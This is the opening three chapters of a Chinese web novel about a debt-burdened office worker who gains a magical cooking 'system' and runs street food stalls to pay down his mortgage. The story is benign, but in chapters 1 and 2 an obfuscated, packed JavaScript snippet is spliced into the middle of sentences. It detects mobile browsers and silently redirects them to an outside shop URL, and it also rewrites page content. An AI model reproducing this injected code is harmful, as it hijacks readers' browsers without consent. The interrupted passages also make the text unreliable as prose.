《绑定美食系统后，我成了白月光》 1. 第 1 章 房寨觉得自己这辈子做过最错误的决定，就是在那份购房合同上签了字。 不是，当时脑子是怎么想的呢？一个月薪六千五的普通职员，哪来的勇气在二线城市买一套总价一百六十万的房子？就因为售楼小姐那句“年轻人总要有个自己的家”？ 家是有了。 两百四十个月的房贷，月供六千三。 也就是说，他每个月工资到手的第一件事，就是把除了吃饭和交通费之外的所有钱，一分不剩地打进银行账户。有时候甚至还不够，得靠花呗顶上。 这就导致一个很魔幻的现实——他有一套属于自己的房子，但他住不起。 是的，为了省钱，他把新房租出去了，自己租了个城中村的老破小，月租八百。每个月的租金差加上工资，刚好够还房贷。 数学上完美闭环了。 精神上也闭环了，闭得死死的。 今天是周五，也是发薪日。房寨坐在工位上，盯着手机银行里刚刚到账的6583.47元发呆。扣掉社保公积金之后，就剩这么多了。 他把6300转到了房贷卡上，余额283.47。 很好，还有两百多块，要撑到下周发绩效。绩效多少？不一定，上个月发了四百，这个月估计也差不多。 房寨深吸一口气，打开拼多多，把购物车里那袋十九块九的五斤大米下了单。然后又看了一眼外卖软件上最便宜的蛋炒饭，十八块，没舍得点。 算了，晚上回去自己炒。 他已经连续吃了半个月的蛋炒饭了。不是爱吃，是因为便宜。鸡蛋六毛一个，米饭算下来一顿也就五毛钱，加点盐和酱油，一顿饭成本不到两块钱。 省下来的每一分钱，都长成了墙上那套房子的一砖一瓦。 “房寨，走了，下班了。” 同事老王拍了拍他的肩膀，拎着包往外走。 房寨看了眼时间，下午五点半，准时下班。他慢吞吞地收拾东西，关了电脑，走出公司大门。 六月的傍晚天还亮着，街上人来人往，有人赶着回家，有人赶着赴约，有人赶着去接孩子。每个人都好像有地方要去，有事情要做，有人等着。 房寨没有。 他一个人走在回家的路上，路过烧烤摊时闻到孜然和辣椒的香味，肚子叫了一声。他看了一眼价目表，羊肉串三块钱一串，默默走过去了。 路过奶茶店，看了一眼，最便宜的也要十二，又走过去了。 路过水果店，看了一眼，苹果七块八一斤，还是走过去了。 他现在对一切消费都免疫了。不是意志力强，是真的没钱。 回到城中村，穿过那条永远湿漉漉的小巷子，爬上六楼，开门，开灯。 十五平的单间，一张床，一张桌子，一个塑料凳子，墙角堆着几箱泡面。窗户外面是另一栋楼的墙，间隔不到一米，白天也要开灯。 房寨换上拖鞋，洗了手，开始做晚饭。 淘米，煮饭，等饭熟的时候他刷了会儿手机。朋友圈里前同事晒了新买的车，大学同学晒了马尔代夫的海，表妹晒了男朋友送的包。 他划了几下就关掉了，没什么好看的。 饭熟了，他打了两个鸡蛋，起锅烧油。蛋液倒进锅里，刺啦一声响，香味飘出来，是今天唯一让他觉得活着还有点意思的时刻。 炒好饭，盛到碗里，坐在塑料凳子上，对着手机里的综艺节目，一口一口地吃。 蛋炒饭，还是蛋炒饭。 吃了半个月的蛋炒饭。 他忽然放下筷子，看着碗里金黄的米饭，莫名觉得鼻子有点酸。 不是，有什么好哭的？二十六岁的大男人，有房有工作，身体健康，不就是穷了点吗？这城市里穷的人多了去了，人家不也活得挺好？ 可是真的好累啊。 不是身体累，是心里累。那种每天睁开眼睛就知道这一天和昨天没有任何区别的累。那种算来算去永远算不到头的累。那种明明已经拼尽全力了，却还是活得像条咸鱼的累。 他端起碗，把最后一口饭扒进嘴里，嚼了嚼，咽下去。 什么味道都没尝出来。 房寨把碗洗了，躺到床上，盯着天花板上那盏节能灯发愣。灯泡有点接触不良，隔几秒就闪一下，像某种摩斯密码。 他看不懂。 也不需要看懂，反正也没人会给他发消息。 手机屏幕亮了一下，是银行发来的还款提醒：【尊敬的客户，您本期房贷已成功扣款6300.00元，当前剩余本金1,527,331.68元。】 一百五十二万。 他闭上眼睛，觉得这个数字像一座山，就压在他胸口上，让他喘不过气。 “我真的……”他小声说，声音闷在枕头里，“还能还完吗？” 没人回答他。 灯泡又闪了一下。 就在这时候，他脑子里忽然响起一个声音。 不是那种幻听的嗡嗡声，是一个非常清晰、非常正经、甚至带着点官方口吻的声音，像银行客服，又像系统播报。 【叮！检测到宿主负面情绪值突破临界点，美食系统强制激活中……】 房寨猛地睁开眼睛。 什么？ 【激活进度：10%……30%……70%……100%】 【激活成功。】 【欢迎绑定美食系统，系统编号：MS-2024-0621。】 【系统宣言：胃暖了，心就不冷了。】 房寨坐起来了。 他环顾四周，出租屋里什么都没有变，还是那盏闪个不停的灯，还是那面掉灰的墙，还是那个塑料凳子。 但一个半透明的面板正悬浮在他面前，蓝色的光幕上写着一行行字。 他使劲揉了揉眼睛，面板还在。 他又掐了一下自己的大腿，疼的。 不是做梦。 “你……你是什么东西？”他试探着问。 面板上的文字变了。 【本系统为美食类辅助系统，旨在通过美食制作与分享，提升宿主的生活幸福感及食客的生活幸福感。】 【检测到宿主当前生活幸福感指数：3/100。】 【综合评估：严重不足。】 3分？满分100只给3分？ 房寨想反驳，但张了张嘴，发现自己确实没什么好反驳的。每天吃蛋炒饭的人，幸福感能高到哪去？ “不是，你为什么找上我？”他还是有点懵，“这世界上比我惨的人多了去了吧？” 【系统筛选标准：极度缺乏幸福感+具备美食制作潜力+人品值达标。】 【宿主三项均符合条件。】 “……我人品好？”房寨指了指自己，有点意外。 【经检测，宿主过去三个月内：主动给流浪猫投食7次，为同事垫付午餐费5次未讨要，在地铁上让座23次，捡到钱包上交1次。综合人品评定：优秀。】 房寨愣住了。 这些事他自己都快忘了，系统怎么知道的？ 还没等他反应过来，面板上又跳出了新的内容。 【新手礼包已发放，请查收。】 一个金光闪闪的礼盒图标出现在面板中央，房寨犹豫了一下，伸手点了上去。 礼盒打开，三道光芒融入他的身体。 【获得：厨神基础技能包（被动技能，已自动装备）】 【获得：初级食材感知（可感知半径10米内食材的新鲜度）】 【获得：新手任务卡×1】 房寨感觉脑子里忽然多了很多东西。各种烹饪知识、刀工技巧、火候判断，像是有人把这些年他看过的所有美食视频全部整理了一遍，然后直接灌进了他的记忆里。 他甚至本能地知道了一个鸡蛋放在掌心时应该用多大的力气敲开，才不会让蛋壳掉进碗里。 这种感觉很奇妙，像是忽然打通了任督二脉。 【新手任务已发布，请在任务面板中查看。】 房寨点开任务面板，一行字跳了出来。 【新手任务：在路边摊制作一份让食客感到幸福的蛋炒饭。】 【任务要求：至少获得1位食客的满意度评价≥90分。】 【任务奖励：房贷减免券×1，厨艺经验+100，随机食谱×1。】 【任务时限：24小时。】 房寨盯着“房贷减免券”这四个字，瞳孔地震了。 “等等等等，”他声音都变了，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511070|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房贷减免券？是我想的那个意思吗？能减免房贷？” 【是的。房贷减免券可直接抵扣宿主名下房贷本金，具体金额由任务完成度决定。】 房寨感觉自己的心跳加速了。 他下意识地看了一眼手机里那一百五十二万的剩余本金，又看了一眼系统面板上那行闪闪发光的字。 “我做。”他说，语气前所未有的坚定，“不管是什么任务，我做。” 【检测到宿主接受任务，任务计时开始：23小时59分58秒。】 房寨从床上跳下来，在狭小的房间里来回走了两圈，脑子转得飞快。 路边摊，蛋炒饭，让食客感到幸福。 他有厨神技能包，理论上做饭应该没问题。但是摆摊需要什么？推车？炉子？锅？碗？食材？ 他翻了翻自己的余额，283.47元。 买一辆二手推车大概要一百多，煤气罐要押金，锅碗瓢盆加起来也得几十块，鸡蛋和米倒是便宜，但还要油盐酱醋…… 他打开计算器算了一下，把预算压到最低，大概需要两百块出头。 做完这单，他下周就要喝西北风了。 但是房贷减免券的诱惑太大了，大到他不愿意放弃。 “赌了。”房寨咬了咬牙，“反正已经这样了，还能更差吗？” 他换上衣服出门，在城中村的巷子里找到了一家卖二手厨具的小店。老板是个五十多岁的大叔，正在看手机上的短视频，抬头看了他一眼。 “小伙子，要什么？” “有没有便宜点的推车和炉子？” 老板指了指角落里一辆锈迹斑斑的铁皮推车：“那个，五十块，推回去自己擦擦就能用。炉子加煤气罐一起一百二，锅碗瓢盆送你几个旧的。” 房寨看了看推车，轮子还能转，铁皮虽然锈了但结构还算结实。他蹲下来检查了一下，炉子也是好的，锅底有点黑，但没破。 “一百五，全部打包，行不行？” 老板想了想：“行吧，反正放着也占地方。” 房寨付了钱，把东西一样样搬回出租屋。推车推起来咯吱咯吱响，轮子不太顺，但勉强能用。 他又去超市买了鸡蛋、大米、油、盐、酱油、葱。鸡蛋买了最便宜的那种，十五个一板，九块九。大米买了个小包装的，十斤，二十五块。其他调料加起来二十出头。 回到家一算账，总共花了两百零七块。 余额：76.47元。 房寨看着这个数字，深吸一口气。 没事，任务完成了有房贷减免券，怎么算都不亏。 他把推车擦干净，把锅碗瓢盆摆好，把鸡蛋和调料整整齐齐地码在推车下层。虽然都是旧东西，但收拾干净之后看起来还挺像那么回事。 一切都准备好了，他才想起一个很关键的问题。 在哪摆摊？ 系统没有指定位置，只说“路边摊”。但路边摊也是有讲究的，太偏了没人，太繁华的地方有城管。 他想了想，决定去公司附近那条街。那一片写字楼多，加班的人也多，晚上七八点正是饿的时候。而且他知道那条街上有一个巷口，经常有人摆摊卖烤冷面和煎饼果子，应该相对安全。 【任务倒计时：18小时22分。】 明天周六，不上班，正好摆摊。 房寨躺在床上，盯着天花板上那盏还在闪的灯，脑子里乱糟糟的。 他想了很多事情。想明天万一没人买怎么办，想万一做出来不好吃怎么办，想万一被城管抓了怎么办。 但想得最多的，是那四个字。 房贷减免。 不管了，明天干了再说。 他翻了个身，闭上眼睛。 灯泡又闪了几下，终于彻底灭了。 房寨在黑暗中睁开眼，看了看那盏灭了的灯，没有起身去修。 他只是在心里默默说了一句。 明天，会好起来的吧？ 窗外，六月的夜风穿过城中村密密麻麻的电线，发出细细的声响，像某种遥远的回音。 而那个悬浮在空气中的系统面板，在黑暗里发出淡淡的蓝光，上面只有一行字。 【任务状态：进行中。祝你好运，宿主。】 2. 第 2 章 房寨是被阳光晃醒的。 城中村的楼间距太窄，平时根本照不进太阳，但今天不知道怎么回事，对面那栋楼的玻璃幕墙恰好把一束光反射进了他的窗户，直直地打在脸上。 他睁开眼，恍惚了零点五秒，然后猛地坐起来。 系统面板还在。 蓝色的光幕悬浮在枕头旁边，上面显示着倒计时：【任务剩余时间：14小时06分。】 不是梦。 房寨揉了揉脸，穿上拖鞋去洗漱。自来水有点凉，他捧了一捧泼在脸上，对着镜子里那个头发乱糟糟、眼底挂着两个大黑眼圈的年轻人看了三秒钟。 二十六岁，长得还行，就是太瘦了，颧骨都快凸出来了。没办法，吃了半个月蛋炒饭，能胖才怪。 他擦干脸，把头发随便扒拉了两下，换上一件洗得发白的T恤和一条黑色运动裤，开始了今天的准备工作。 鸡蛋，十五个，挨个检查了一遍，没有散的。 大米，十斤，昨天晚上已经淘好了三斤，泡在水里。 葱，一小把，洗干净切成葱花，装进保鲜袋。 盐、酱油、油，分别装进小瓶子里。 碗筷，从二手店老板那里顺来的，一共八个碗，八双筷子，洗了三遍，又用开水烫了一遍。 他把所有东西整整齐齐地码上推车，又检查了一遍煤气罐的阀门和连接管，确认没有漏气。 一切就绪。 时间还早，才上午九点多。摆摊太早了没人，他打算下午四点出门，先去占个好位置，等到五点半左右开始有人下班，正好赶上第一波客流。 等待的时间最难熬。 房寨坐在塑料凳子上，拿着手机看了会儿美食视频。以前看这些视频就是过过眼瘾，但现在不一样了，他看着视频里厨师颠勺的动作，脑子里会自动拆解出每一个细节——手腕用力的角度、锅铲翻动的频率、火候变化的时机。 厨神技能包带来的不只是知识，还有一套完整的肌肉记忆。他感觉自己好像已经炒过几万次饭了，虽然实际上他连一次都没用新技能试过。 “不行，得先练练。” 他打了两个鸡蛋，起锅烧油，按照脑子里那个“标准流程”炒了一碗。 蛋液入锅的瞬间，他整个人忽然不一样了。 那种感觉很奇妙，像是身体里有什么东西被唤醒了。锅铲握在手里不再是冷冰冰的铁器，而像是手的延伸。他能感觉到锅底的温度变化，能判断出蛋液凝固的程度，甚至能在米饭下锅之前就预判出最终的成品状态。 翻炒，颠勺，调味，出锅。 整个过程不到三分钟，行云流水，一气呵成。 房寨看着碗里的蛋炒饭，愣住了。 米饭粒粒分明，每一颗都均匀地裹着金黄色的蛋液，葱花点缀其间，热气腾腾地往上冒。他用筷子拨了一下，饭粒在碗里弹跳，松散而有光泽。 这真的是他做的？ 他夹了一筷子放进嘴里。 然后整个人僵住了。 不是难吃，是太好吃了。 米饭的软硬恰到好处，既有嚼劲又不会太干。鸡蛋的香味和葱香完美融合，酱油的咸鲜在后面缓缓铺开，最后留在舌尖上的是一丝若有若无的甜。 他吃了半个月的蛋炒饭，从来没有觉得蛋炒饭可以好吃到这个程度。 “卧槽。”房寨嚼着嘴里的饭，含混地骂了一句，“这也太离谱了。” 他三两口把整碗饭扒完，连碗底的小葱碎都舔干净了。 【系统提示：检测到宿主首次使用厨神技能包制作菜品，品质评定：B+。】 【评价：对于初学者而言已是超常发挥，但离真正的“治愈级”还有距离。继续努力。】 B+？这么好吃的蛋炒饭才B+？ 房寨看了看碗，又看了看系统面板，忽然对这个系统的标准有了新的认识。 但不管怎么说，他心里有底了。就算系统评级不高，这碗饭的水平放在路边摊里绝对是降维打击。他吃过公司楼下那家炒饭，十三块钱一份，米饭硬得像子弹，鸡蛋少得可怜，跟他做的完全不是一个物种。 下午四点，太阳还很大。 房寨把推车推出了城中村，沿着大路往公司方向走。推车的轮子不太好，咯吱咯吱响了一路，引来不少路人侧目。他有点不好意思，低着头只管推。 到了那条街，他选的那个巷口果然还空着。巷口往里走是个死胡同，不影响行人通行，位置不算最好，但好在不挡路，城管一般也不会管得太严。 他把推车停好，支起炉子，把锅碗瓢盆一样样摆出来。 煤气罐放在推车下面，用一块布遮着。鸡蛋放在左边，米饭装在保温桶里，调料一字排开。葱花用保鲜袋装着，挂在推车把手上。 一切都准备好了，他站在推车后面，看着街上稀稀拉拉的行人，忽然有点紧张。 怎么吆喝？ 他张了张嘴，没发出声音。 又张了张嘴，挤出一句：“炒……炒饭，蛋炒饭。” 声音小得跟蚊子似的，旁边经过的大妈压根没听见，目不斜视地走了过去。 房寨深吸一口气，提高了音量：“蛋炒饭！好吃的蛋炒饭！” 这次声音够大了，对面奶茶店的店员都看了他一眼。但路过的行人只是扫了一眼他的推车，又收回了目光，脚步都没慢下来。 没有人停下来。 一分钟，五分钟，十分钟。 房寨站在推车后面，看着人来人往，忽然觉得有点好笑。他一个社恐，怎么就接了这么一个需要吆喝的任务呢？ 他正想着要不要再喊两声，手机响了。是银行发来的短信，提醒他下个月的房贷还款日。他看了一眼，把手机揣回兜里，咬了咬牙。 房贷还没还完，有什么资格社恐？ “蛋炒饭！”他的声音终于放开了，带着一股豁出去的狠劲，“纯手工现炒，不好吃不要钱！” 这一嗓子倒是管用了。一个拎着公文包的中年男人停下来看了一眼，但看了看他简陋的推车和生锈的锅，摇了摇头又走了。 房寨：“……” 没事，再等等。 五点半，下班的人流开始出现了。 写字楼里涌出一批又一批人，有的行色匆匆，有的慢悠悠地晃，有的三五成群商量着去哪吃晚饭。房寨的摊位在一个不太起眼的角落，但架不住他嗓门大，连着喊了几嗓子之后，终于有人停下了。 是个年轻姑娘，穿着白衬衫和黑色西裤，头发随便扎了个马尾，眼睛底下是两个大黑眼圈——比房寨的还重。 她看了一眼房寨的推车，又看了一眼价目表。 房寨昨天晚上用纸板写了个价目表，就四个字：蛋炒饭，八块。 八块钱一份，在这个地段算是良心价了。旁边那家兰州拉面一份炒饭都要十五。 “八块钱一份？”姑娘确认了一下。 “对，八块。现炒的，不是那种提前炒好热着的。”房寨赶紧说。 姑娘犹豫了两秒钟，从包里掏出手机：“来一份吧。” 【叮！任务进度更新：已有1位食客下单。当前需获得至少1位食客满意度≥90分。】 房寨咽了口唾沫，拿起锅铲。 点火，热锅，倒油。 油温上来之后，他打了两个鸡蛋进碗里，用筷子快速搅散。蛋液倒进锅里，刺啦一声，金黄色的蛋花瞬间在油锅里绽开。 他的动作忽然变得从容了。 那种感觉又来了，像是身体里有一个经验丰富的老厨师在替他掌控一切。锅铲翻动，蛋花炒散，米饭从保温桶里舀出来倒进锅里，铲尖把饭团打散，每一粒米都精准地滚过锅底，裹上蛋液和油脂。 颠勺。米饭在半空中翻了个身，落回锅里时已经均匀地混合了鸡蛋和葱花。 加盐，加酱油，再翻炒几下，出锅。 整个过程不到四分钟，围观的人不多，但旁边奶茶店的店员已经探出半个身子在看。 房寨把炒饭装进一次性纸碗，撒上一点葱花点缀，递给了那个姑娘。 “小心烫。” 姑娘接过碗，用一次性勺子舀了一勺，吹了吹，送进嘴里。 然后她停下了。 房寨紧张地看着她。 姑娘嚼了两下，没说话，又舀了第二勺。第三勺。第四勺。她吃得不快，但每一口都嚼得很认真，像是在确认什么。 吃到第五口的时候，她忽然停下了勺子。 房寨心一沉。 不好吃？不对味？咸了淡了？ 他正想开口问，姑娘的眼眶忽然红了。 不是那种酝酿了半天才挤出来的眼泪，是那种猝不及防的、连自己都没反应过来的红。眼眶一热，水光就泛上来了，然后一颗眼泪毫无征兆地掉了下来，砸在纸碗边上。 “你……”房寨慌了，“是不是太辣了？我没放辣椒啊？” 姑娘摇了摇头，又吃了一口，眼泪掉得更凶了。她用手背抹了一下眼睛，但眼泪根本止不住，一颗接一颗地往下掉。 旁边路过的人已经开始指指点点了。一个摆摊的把客人炒哭了，这场面怎么看怎么不对劲。 房寨手足无措地站在推车后面，不知道该说什么。 姑娘抽噎了两下，终于开口了，声音又哑又轻：“对不起，我不是故意的……就是，太好吃了。” 房寨愣了一下。 “和我妈妈做的一个味道。”姑娘低着头，用勺子拨着碗里的饭，“我妈妈以前也喜欢在炒饭里放很多葱花，也是这种……这种说不出来的味道。她走了三年了，我三年没吃过这个味道了。” 她抬起头，眼睛红红的，但嘴角是往上翘的。 “谢谢你。”她说，声音很轻，“真的谢谢你。” 房寨张了张嘴，想说点什么安慰的话，但发现自己什么也说不出来。他只是站在那里，看着这个陌生的姑娘端着一碗八块钱的蛋炒饭，在路边又哭又笑。 他忽然觉得鼻子也有点酸。 不是难过，是一种说不清的感觉。像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511071|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里某个一直堵着的地方，忽然被什么东西轻轻戳了一下。 【叮！食客满意度数据采集完成。】 【当前食客满意度：98分。】 【评价：不是技巧的胜利，是情感的胜利。这碗蛋炒饭里有一个被遗忘的味道，而宿主的烹饪恰好触发了食客最深层的记忆共鸣。】 【任务进度：1/1，已达成。】 【新手任务完成！】 【发放任务奖励：房贷减免券×1，厨艺经验+100，随机食谱×1。】 【房贷减免券生效中……抵扣本金5000元。当前剩余本金：1,522,331.68元。】 五千块。 虽然比起一百五十多万的总量来说不算什么，但房寨看着那个数字减少了五千，心里还是涌上一股难以形容的满足感。 这不是工资到账后还没来得及捂热就转走的钱，这是实打实的、因为他做了一碗蛋炒饭而消失的债务。 “再来一份。” 一个声音打断了房寨的思绪。 他抬头，发现不知道什么时候摊位前面已经排了三个人。最前面是个戴眼镜的胖小伙，正眼巴巴地看着他锅里剩下的那点米饭。 “我也要一份。” “我也来一份。” 房寨看了看保温桶里的米饭，大概还能炒四份。他又看了一眼那个还在路边擦眼泪的姑娘，她已经快吃完了，正把最后几粒米饭往嘴里扒。 “好，稍等，一个个来。” 他重新点火，热锅，倒油。 这一次他的动作比之前更流畅了。锅铲在手里翻飞，米饭在锅里跳跃，葱花和蛋香混在一起，飘出去老远。 又有人闻着味儿过来了。 “什么味儿这么香？” “蛋炒饭？这味儿也太正了吧。” “多少钱一份？八块？给我也来一份。” 等房寨把四份炒饭全部炒完，回头一看，身后已经排了七八个人了。 他愣了一秒，然后不好意思地挠了挠头：“那个……米饭没了，今天先到这儿吧。” 排队的几个人发出一阵失望的叹息。 “老板你明天还来吗？” “几点出摊？我明天早点来。” “能不能加个微信？你出摊了跟我说一声。” 房寨被问得有点懵，他没想到自己随便摆个摊，居然还整出回头客了。 他正想着怎么回答，余光瞥见刚才那个姑娘已经吃完了，正把纸碗扔进旁边的垃圾桶。她走过来，脸上的泪痕已经干了，但眼睛还是有点肿。 “老板，”她拿出手机，“能加个微信吗？你下次出摊我再来。” 房寨犹豫了一下，还是掏出了手机。 姑娘扫了码，备注名字的时候顿了一下：“对了，你叫什么名字？” “房寨。” “房寨？”姑娘念了一遍，忽然笑了，“房债？你这名字起得也太有先见之明了。” 房寨苦笑了一下：“谁说不是呢。” 姑娘走了，走出几步又回过头来，冲他喊了一句：“老板，明天还做蛋炒饭吗？” “不一定。”房寨想了想，系统还没发布新任务，他也不知道明天该做什么。 “那我随缘碰吧。”姑娘笑了笑，转身汇入了人流。 房寨站在推车后面，看着她的背影消失在街角，忽然想起系统面板上那句话——胃暖了，心就不冷了。 他低头看了看自己的手，锅铲还握在手里，上面沾着油渍和葱花。 不知道为什么，他觉得今天晚上的风特别轻，特别软，连城中村那条湿漉漉的小巷子走起来都没有那么讨厌了。 【系统提示：新手任务已完成，下一阶段主线任务即将开启。】 【请宿主注意查收。】 房寨推着咯吱咯吱响的推车往回走，路灯把他的影子拉得老长。 他掏出手机看了一眼余额，76.47元。 今天卖了六份蛋炒饭，一份八块，四十八块钱。除去成本，大概赚了三十出头。 三十块钱，连个外卖都不够点的。 但房寨把那张皱巴巴的十块、五块、一块的票子捋平了，叠整齐了，塞进钱包里的时候，嘴角是往上翘的。 【随机食谱已发放：阳春面。】 【解锁条件：完成一次深夜摆摊任务。】 房寨看着新食谱的名字，脑子里已经开始想象那碗面的样子了。 清汤，细面，一把葱花，几滴猪油。 最简单的面，也是最难做好的面。 他加快了脚步，推车咯吱咯吱地响着，像是在给这座城市的夜晚伴奏。 不远处的天桥上，有人抱着吉他在唱歌。唱的是一首老歌，旋律很慢，歌词听不太清，但调子莫名让人觉得安心。 房寨路过天桥的时候，往吉他盒里丢了五块钱。 歌手冲他点了点头，继续唱。 而他推着那辆破旧的二手推车，穿过城市的灯火和夜色，回了家。 3. 第 3 章 回到出租屋已经快晚上九点了。 房寨把推车推进屋里，没急着收拾，先一屁股坐在了塑料凳子上，整个人像泄了气似的瘫着。 累。 不是身体累，是精神高度紧张之后的虚脱感。第一次摆摊，第一次面对陌生客人，第一次有人当着他的面哭出来——这一下午经历的事情，比他过去三个月加起来都刺激。 他仰着头发了会儿呆，天花板上那盏灯还是灭的。昨天灭了之后他就没管，现在屋里就靠走廊透进来的一点光勉强看得见。 哦对了，灯。 他站起来，把灯泡拧了拧，又亮了。接触不良的老毛病，拍一下就行，跟这间屋子里所有东西一样，凑合着能用就行。 坐下来，掏出手机。 微信多了十几条好友申请。 房寨愣了一下，点开一看，全是今天下午加了那个姑娘微信之后，不知道从哪儿传出去的。申请备注写得五花八门： “老板我是今天排你后面那个，求通过” “炒饭哥明天还出摊吗？” “听说你家蛋炒饭特别好吃，想试试” 房寨一个一个看过去，有点恍惚。 他有很久没收到过好友申请了。上一次有人主动加他微信，还是去年公司团建拉群的时候。 他挨个点了通过，又建了个群，群名叫“房寨的炒饭摊”。把今天加他的人和这些新通过的人全拉了进来。 群刚建好，消息就炸了。 “老板！终于找到组织了！” “明天还炒吗？几点出摊？我馋了一晚上了” “今天吃到的那份炒饭我真的哭死，太好吃了” “我同事说她吃哭了，我不信，老板你明天必须给我也整一份” 房寨捧着手机，看着一条条消息往上刷，嘴角不自觉地往上翘。 他打了一行字：“明天不一定出摊，出的话会在群里说。” 发出去之后又觉得语气太冷淡了，加了个表情包。 群里又是一阵哀嚎。 “别啊老板” “你是不是嫌八块钱太便宜了？你涨价我也可以接受的” “对对对，十五一份我都买” 房寨看着“十五一份我都买”这句话，心动了零点三秒，但很快又冷静下来。他看了一眼系统面板，新任务还没发布，明天做什么、在哪做、做给谁吃，他一概不知。 这系统什么毛病，任务非得卡着点儿发？ 正想着，面板忽然闪了一下。 【主线任务已解锁。】 【任务名称：深夜的阳春面。】 【任务描述：真正的治愈，往往发生在最孤独的时刻。请在深夜时段（22:00-02:00）完成一次路边摊营业，制作阳春面。】 【任务要求：至少服务5位食客，平均满意度≥85分。】 【任务奖励：房贷减免券×1（金额由满意度决定），厨艺经验+200，厨具升级券×1。】 【限时：今晚22:00前必须出摊。】 房寨看了一眼手机右上角的时间。 21:17。 距离22:00还有四十三分钟。 “操！” 他从凳子上弹起来，差点把手机摔了。 推车还没收拾，食材还没准备，阳春面的食谱他还没看，面也没有，汤底也没有，什么都没有。 “系统你玩我呢？”他一边骂一边冲到推车旁边，把今天剩下的东西往外搬。 【温馨提示：抱怨不会让时间变多，但行动可以。】 【另：阳春面食谱已发放至宿主记忆库，请自行调取。】 房寨深吸一口气，闭上眼。 脑子里果然多了一段记忆。不是文字，不是视频，而是一种完整的、全方位的感知。他“知道”了一碗完美的阳春面应该是什么样子——汤要清，不能浊；面要韧，不能烂；猪油要自己熬，酱油要按比例配，葱花要切得细如发丝但入口又有存在感。 他甚至知道了一个秘密：阳春面的灵魂不是面，是汤。而汤的灵魂，是一滴猪油。 不是普通的猪油，是用红葱头炸过的猪油。红葱头的甜和猪油的香融合在一起，遇热释放，才能在清汤寡水的外表下藏着一颗浓郁到爆炸的心。 房寨睁开眼，脑子里已经有了完整的行动路线。 第一步，买食材。 他看了一眼余额，76.47元。 阳春面需要的材料：面条、猪板油、红葱头、酱油、盐、葱花。 猪板油不贵，菜市场收摊前去买，两三块钱能买一大块。红葱头更便宜，一块钱能买一小袋。面条买最普通的碱水面，两块钱的量够煮十碗。其他调料家里都有。 他抓起钥匙冲出家门，一路小跑着往菜市场赶。 城中村的菜市场收摊晚，这会儿还有几家亮着灯。房寨在一家猪肉摊前停下来，摊主正在收拾东西准备走。 “老板，还有猪板油吗？” “有，剩最后一块了，给你算三块钱。” “买了。” 红葱头在旁边卖干货的摊位买的，一块五一袋。碱水面在最后一家还没关门的面条摊买的，两块钱的。 一共花了六块五。 余额：69.97元。 房寨拎着东西往回跑，推车的轮子在城中村的石板路上咯吱咯吱响，引来几只流浪猫的注视。 回到家，时间21:35。 还有二十五分钟。 他开始疯狂备料。 猪板油切成小丁，冷水下锅，小火慢熬。这是最花时间的一步，但急不得，火大了猪油会有焦糊味，整碗面就毁了。 趁熬猪油的工夫，他把红葱头剥了，切成薄片。红葱头比洋葱小，味道更甜，切的时候不会辣眼睛，但有一股浓郁的香味，切完满手都是。 面条拿出来抖散，放在案板上备用。葱花切了满满一小碗，嫩绿的葱叶切成细圈，堆在一起像一座小山。 酱油他尝了一口，太咸了，兑了点凉白开，又加了一点点糖中和咸味。 一切都准备好了，猪油也熬得差不多了。 白色的猪板油丁在锅里慢慢缩小，变成金黄色的油渣，浮在澄清透明的油面上。房寨用漏勺把油渣捞出来，把红葱头片倒进热油里。 刺啦—— 红葱头的香味瞬间炸开，比葱花爆锅的味道更浓、更甜、更有层次。那股香气从出租屋的窗户飘出去，顺着楼道往上窜，估计整栋楼都闻到了。 房寨赶紧把火关了，用余温把红葱头炸到金黄酥脆，连油带葱倒进一个搪瓷碗里。 红葱油，成了。 时间21:52。 他换上衣服，把推车重新装好。炉子、锅、碗、筷子、面条、红葱油、酱油、盐、葱花。保温桶里装了半桶开水，方便随时煮面。 一切就绪，推车出门。 这次他没有去公司附近那条街。十点以后写字楼那边就没人了，得换个地方。 他想到了第三医院。 医院附近，任何时候都有人。深夜的急诊室门口，有刚做完手术的医生，有焦急等待结果的家属，有睡不着觉出来透气的病人和护工。那些人的深夜，比普通人的深夜更孤独、更漫长、更需要一碗热乎乎的东西。 房寨推着车往医院方向走，路上花了二十分钟。 到达医院门口的时候，刚好22:12。 他把推车停在急诊大楼侧面的一个角落里，这里不会挡住救护车通道，也不在正门口惹眼。路灯昏黄，照着他的小摊，在地上投下一小片暖色的光。 炉子点着了，锅里的水开始冒热气。 他把招牌翻过来，在背面写了三个大字：阳春面。 下面用小字写了一行：十元一碗。 比蛋炒饭贵了两块。不是他贪心，是阳春面的成本确实高一些，而且深夜摆摊，总得有点深夜的溢价。 医院门口的灯很亮，急诊室的红色灯牌一闪一闪的。不时有救护车呼啸着开进来，又安静地开走。 房寨站在推车后面，看着进出的人群。 凌晨十点多，医院里的人流比白天少了很多，但来来往往的也不少。有拎着保温桶的大妈，大概是刚给住院的家人送完饭。有穿着病号服的老大爷，在门口抽完烟慢慢往回走。有护士换班出来，一脸疲惫地伸了个懒腰。 他们路过房寨的摊位时，大多看了一眼就过去了。 阳春面，听起来就没有蛋炒饭有吸引力。 房寨等了十几分钟，一单生意都没有。 他有点着急了。群里倒是有几个人在问他在哪出摊，但他没好意思发位置——万一来了发现一个人都没有，多尴尬。 又等了五分钟，一个穿白大褂的年轻医生从急诊楼里走了出来。 